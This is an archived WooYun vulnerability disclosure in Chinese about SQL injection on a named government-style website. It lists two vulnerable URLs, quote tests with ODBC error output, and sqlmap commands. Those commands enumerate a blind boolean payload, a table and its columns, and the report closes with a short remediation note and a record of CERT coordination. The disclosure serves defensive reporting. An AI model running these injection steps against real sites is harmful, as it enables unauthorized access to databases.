乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-08-02: 细节已通知厂商并且等待厂商处理中 2014-08-07: 厂商已经确认,细节仅向厂商公开 2014-08-17: 细节向核心白帽子及相关领域专家公开 2014-08-27: 细节向普通白帽子公开 2014-09-06: 细节向实习白帽子公开 2014-09-16: 细节向公众公开
存在SQL注入漏洞,能注入得到数据库信息
注入点1http://www.zbglj.com/Bs_NetBookRe.asp?id=85id为盲注注入点加个引号'测试 http://www.zbglj.com/Bs_NetBookRe.asp?id=85'返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'ODBC 驱动程序不支持所需的属性。/Bs_NetBookRe.asp,行 18
明显存在注入。注入点2http://www.zbglj.com/page2.asp?strtype=5&type=lztype为盲注注入点同上加上引号'测试http://www.zbglj.com/page2.asp?strtype=5&type=lz'返回
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'ODBC 驱动程序不支持所需的属性。/page2.asp,行 364
存在注入。
下面放到sqlmap工具里跑下
C:\Python27\sqlmap>sqlmap.py -u http://www.zbglj.com/Bs_NetBookRe.asp?id=85 sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 21:28:59[21:29:00] [INFO] resuming back-end DBMS 'microsoft access'[21:29:00] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=85 AND 1124=1124---[21:29:00] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[*] shutting down at 21:29:00C:\Python27\sqlmap>sqlmap.py -u http://www.zbglj.com/Bs_NetBookRe.asp?id=85 --tables sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 21:29:18[21:29:18] [INFO] resuming back-end DBMS 'microsoft access'[21:29:18] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=85 AND 1124=1124---[21:29:19] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[21:29:19] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'[21:29:19] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'[21:29:19] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval[21:29:19] [INFO] retrieved:[21:29:23] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast'[21:29:23] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'[21:29:23] [ERROR] cannot retrieve table names, back-end DBMS is AccessDatabase: Microsoft_Access_masterdb[1 table]+------+| vote |+------+C:\Python27\sqlmap>sqlmap.py -u http://www.zbglj.com/Bs_NetBookRe.asp?id=85 -Tote --columns sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua consent is illegal. It is the end user's responsibility to obey all applicablelocal, state and federal laws. Developers assume no liability and are not resposible for any misuse or damage caused by this program[*] starting at 21:40:34[21:40:34] [INFO] resuming back-end DBMS 'microsoft access'[21:40:34] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requsts:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=85 AND 1124=1124---[21:40:38] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft Access[21:40:38] [ERROR] cannot retrieve column names, back-end DBMS is AccessDatabase: Microsoft_Access_masterdbTable: vote[4 columns]+----------+-------------+| Column | Type |+----------+-------------+| homepage | non-numeric || id | numeric || name | non-numeric || title | non-numeric |+----------+-------------+
过滤一些字符……预编译……等等
危害等级:中
漏洞Rank:10
确认时间:2014-08-07 09:27
2014-08-08:补充之前处置情况:CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给山东分中心,由山东分中心后续协调网站管理单位处置。